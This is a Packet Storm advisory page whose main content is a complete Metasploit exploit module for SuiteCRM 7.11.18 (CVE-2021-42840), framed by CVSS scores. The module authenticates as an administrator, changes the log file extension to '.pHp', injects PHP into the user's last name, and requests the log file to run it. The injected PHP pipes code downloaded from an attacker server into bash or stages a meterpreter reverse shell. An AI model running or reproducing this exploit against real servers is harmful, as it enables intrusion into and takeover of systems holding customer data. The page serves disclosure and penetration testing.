Lucene search

K
packetstormM. Cory BillingtonPACKETSTORM:165001
HistoryNov 17, 2021 - 12:00 a.m.

SuiteCRM 7.11.18 Remote Code Execution

2021-11-1700:00:00
M. Cory Billington
packetstormsecurity.com
512

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SuiteCRM Log File Remote Code Execution',  
'Description' => %q{  
This module exploits an input validation error on the log file extension parameter. It does  
not properly validate upper/lower case characters. Once this occurs, the application log file  
will be treated as a php file. The log file can then be populated with php code by changing the  
username of a valid user, as this info is logged. The php code in the file can then be executed  
by sending an HTTP request to the log file. A similar issue was reported by the same researcher  
where a blank file extension could be supplied and the extension could be provided in the file  
name. This exploit will work on those versions as well, and those references are included.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'M. Cory Billington' # @_th3y  
],  
'References' => [  
['CVE', '2021-42840'],  
['CVE', '2020-28328'], # First CVE  
['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.  
['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit  
['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit  
],  
'Platform' => %w[linux unix],  
'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],  
'Targets' => [  
[  
'Linux (x64)', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'Linux (cmd)', {  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true,  
'DisclosureDate' => '2021-04-28',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),  
OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),  
OptString.new('PASS', [true, 'Password for administrator', 'admin']),  
OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),  
OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),  
OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])  
]  
)  
end  
  
def check  
authenticate unless @authenticated  
return Exploit::CheckCode::Unknown unless @authenticated  
  
version_check_request = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Home',  
'action' => 'About'  
}  
}  
)  
  
return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request  
  
version_match = version_check_request.body[/  
Version  
\s  
\d{1} # Major revision  
\.  
\d{1,2} # Minor revision  
\.  
\d{1,2} # Bug fix release  
/x]  
  
version = version_match.partition(' ').last  
  
if version.nil? || version.empty?  
about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"  
return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")  
end  
  
patched_version = Rex::Version.new('7.11.18')  
current_version = Rex::Version.new(version)  
  
return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version  
  
Exploit::CheckCode::Safe("SuiteCRM #{version}")  
end  
  
def authenticate  
print_status("Authenticating as #{datastore['USER']}")  
initial_req = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Users',  
'action' => 'Login'  
}  
}  
)  
  
return false unless initial_req && initial_req.code == 200  
  
login = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_post' => {  
'module' => 'Users',  
'action' => 'Authenticate',  
'return_module' => 'Users',  
'return_action' => 'Login',  
'user_name' => datastore['USER'],  
'username_password' => datastore['PASS'],  
'Login' => 'Log In'  
}  
}  
)  
  
return false unless login && login.code == 302  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'keep_cookies' => true,  
'vars_get' => {  
'module' => 'Administration',  
'action' => 'index'  
}  
}  
)  
  
auth_succeeded?(res)  
end  
  
def auth_succeeded?(res)  
return false unless res  
  
if res.code == 200  
print_good("Authenticated as: #{datastore['USER']}")  
if res.body.include?('Unauthorized access to administration.')  
print_warning("#{datastore['USER']} does not have administrative rights! Exploit will fail.")  
@is_admin = false  
else  
print_good("#{datastore['USER']} has administrative rights.")  
@is_admin = true  
end  
@authenticated = true  
return true  
else  
print_error("Failed to authenticate as: #{datastore['USER']}")  
return false  
end  
end  
  
def post_log_file(data)  
send_request_cgi(  
{  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'index.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'keep_cookies' => true,  
'headers' => {  
'Referer' => "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView"  
},  
'data' => data.to_s  
}  
)  
end  
  
def modify_system_settings_file  
filename = rand_text_alphanumeric(8).to_s  
extension = '.pHp'  
@php_fname = filename + extension  
action = 'Modify system settings file'  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')  
data.add_part('Configurator', nil, nil, 'form-data; name="module"')  
data.add_part(filename.to_s, nil, nil, 'form-data; name="logger_file_name"')  
data.add_part(extension.to_s, nil, nil, 'form-data; name="logger_file_ext"')  
data.add_part('info', nil, nil, 'form-data; name="logger_level"')  
data.add_part('Save', nil, nil, 'form-data; name="save"')  
  
res = post_log_file(data)  
check_logfile_request(res, action)  
end  
  
def poison_log_file  
action = 'Poison log file'  
if target.arch.first == 'cmd'  
command_injection = "<?php `curl #{@download_url} | bash`; ?>"  
else  
@meterpreter_fname = "#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}"  
command_injection = %(  
<?php `curl #{@download_url} -o #{@meterpreter_fname};  
/bin/chmod 700 #{@meterpreter_fname};  
/bin/sh -c #{@meterpreter_fname};`; ?>  
)  
end  
  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('Users', nil, nil, 'form-data; name="module"')  
data.add_part('1', nil, nil, 'form-data; name="record"')  
data.add_part('Save', nil, nil, 'form-data; name="action"')  
data.add_part('EditView', nil, nil, 'form-data; name="page"')  
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')  
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')  
data.add_part(command_injection, nil, nil, 'form-data; name="last_name"')  
  
res = post_log_file(data)  
check_logfile_request(res, action)  
end  
  
def restore  
action = 'Restore logging to default configuration'  
print_status("Trying - #{action}")  
  
data = Rex::MIME::Message.new  
data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')  
data.add_part('Configurator', nil, nil, 'form-data; name="module"')  
data.add_part('suitecrm', nil, nil, 'form-data; name="logger_file_name"')  
data.add_part('.log', nil, nil, 'form-data; name="logger_file_ext"')  
data.add_part('fatal', nil, nil, 'form-data; name="logger_level"')  
data.add_part('Save', nil, nil, 'form-data; name="save"')  
  
post_log_file(data)  
  
data = Rex::MIME::Message.new  
data.add_part('Users', nil, nil, 'form-data; name="module"')  
data.add_part('1', nil, nil, 'form-data; name="record"')  
data.add_part('Save', nil, nil, 'form-data; name="action"')  
data.add_part('EditView', nil, nil, 'form-data; name="page"')  
data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')  
data.add_part(datastore['USER'], nil, nil, 'form-data; name="user_name"')  
data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name="last_name"')  
  
res = post_log_file(data)  
  
print_error("Failed - #{action}") unless res && res.code == 301  
  
print_good("Succeeded - #{action}")  
end  
  
def check_logfile_request(res, action)  
fail_with(Failure::Unknown, "#{action} - no reply") unless res  
  
unless res.code == 301  
print_error("Failed - #{action}")  
fail_with(Failure::UnexpectedReply, "Failed - #{action}")  
end  
  
print_good("Succeeded - #{action}")  
end  
  
def execute_php  
print_status("Executing php code in log file: #{@php_fname}")  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri, @php_fname),  
'keep_cookies' => true  
}  
)  
fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404  
register_files_for_cleanup(@php_fname)  
register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?  
end  
  
def on_request_uri(cli, _request)  
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })  
print_good("#{peer} - Payload sent!")  
end  
  
def start_http_server  
start_service(  
{  
'Uri' => {  
'Proc' => proc do |cli, req|  
on_request_uri(cli, req)  
end,  
'Path' => resource_uri  
}  
}  
)  
@download_url = get_uri  
end  
  
def exploit  
start_http_server  
authenticate unless @authenticated  
fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated  
fail_with(Failure::NoAccess, "#{datastore['USER']} does not have administrative rights!") unless @is_admin  
modify_system_settings_file  
poison_log_file  
execute_php  
ensure  
restore if datastore['RESTORECONF']  
end  
end  
  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C